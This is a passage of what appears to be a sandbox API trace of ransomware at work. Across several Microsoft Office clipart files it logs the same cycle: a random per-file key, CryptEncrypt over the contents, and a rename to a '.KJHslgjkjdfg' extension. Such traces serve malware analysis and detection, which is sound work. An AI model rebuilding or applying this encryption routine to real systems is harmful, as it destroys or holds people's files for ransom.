nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.771] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9114, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9114, lpOverlapped=0x0) returned 1 [0191.772] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9120, dwBufLen=0x9120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9120) returned 1 [0191.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.772] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9120, lpOverlapped=0x0) returned 1 [0191.773] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x91f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.773] SetEndOfFile (hFile=0x130) returned 1 [0191.775] GetProcessHeap () returned 0x990000 [0191.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.775] GetProcessHeap () returned 0x990000 [0191.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf.kjhslgjkjdfg")) returned 1 [0191.777] CloseHandle (hObject=0x130) returned 1 [0191.777] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1846, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099174.WMF", cAlternateFileName="")) returned 1 [0191.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.778] GetProcessHeap () returned 0x990000 [0191.778] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.778] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.778] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0191.780] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.780] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.780] GetProcessHeap () returned 0x990000 [0191.780] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.780] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.780] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.780] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.780] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.781] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.781] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.781] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.781] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.781] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.781] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.781] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1846, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1846, lpOverlapped=0x0) returned 1 [0191.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850, dwBufLen=0x1850 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1850) returned 1 [0191.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.782] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1850, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1850, lpOverlapped=0x0) returned 1 [0191.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.782] SetEndOfFile (hFile=0x130) returned 1 [0191.785] GetProcessHeap () returned 0x990000 [0191.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.785] GetProcessHeap () returned 0x990000 [0191.785] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.785] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099174.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099174.wmf.kjhslgjkjdfg")) returned 1 [0191.786] CloseHandle (hObject=0x130) returned 1 [0191.786] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1 [0191.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.787] GetProcessHeap () returned 0x990000 [0191.787] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.788] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.788] GetProcessHeap () returned 0x990000 [0191.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.790] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.790] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.790] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.790] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.790] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.790] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.790] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2610, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2610, lpOverlapped=0x0) returned 1 [0191.791] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610, dwBufLen=0x2610 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2610) returned 1 [0191.791] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.791] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2610, lpOverlapped=0x0) returned 1 [0191.792] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.792] SetEndOfFile (hFile=0x130) returned 1 [0191.794] GetProcessHeap () returned 0x990000 [0191.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.795] GetProcessHeap () returned 0x990000 [0191.795] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099175.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099175.wmf.kjhslgjkjdfg")) returned 1 [0191.796] CloseHandle (hObject=0x130) returned 1 [0191.796] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1 [0191.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.797] GetProcessHeap () returned 0x990000 [0191.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.797] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.799] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.799] GetProcessHeap () returned 0x990000 [0191.799] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.799] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.799] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.799] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.800] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.800] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.800] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.800] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.800] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9b8, lpOverlapped=0x0) returned 1 [0191.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0) returned 1 [0191.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.800] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c0, lpOverlapped=0x0) returned 1 [0191.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.801] SetEndOfFile (hFile=0x130) returned 1 [0191.803] GetProcessHeap () returned 0x990000 [0191.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.803] GetProcessHeap () returned 0x990000 [0191.803] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf.kjhslgjkjdfg")) returned 1 [0191.805] CloseHandle (hObject=0x130) returned 1 [0191.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0191.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.806] GetProcessHeap () returned 0x990000 [0191.806] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.806] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.806] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0191.812] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.812] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.812] GetProcessHeap () returned 0x990000 [0191.812] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.812] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.812] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.812] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.812] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.812] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.812] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.812] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.812] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.813] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x150a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x150a, lpOverlapped=0x0) returned 1 [0191.813] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1510, dwBufLen=0x1510 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1510) returned 1 [0191.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.814] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1510, lpOverlapped=0x0) returned 1 [0191.814] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.814] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.814] SetEndOfFile (hFile=0x130) returned 1 [0191.817] GetProcessHeap () returned 0x990000 [0191.817] HeapFree (in: hHeap=0x990000, dwFlags=0x0, 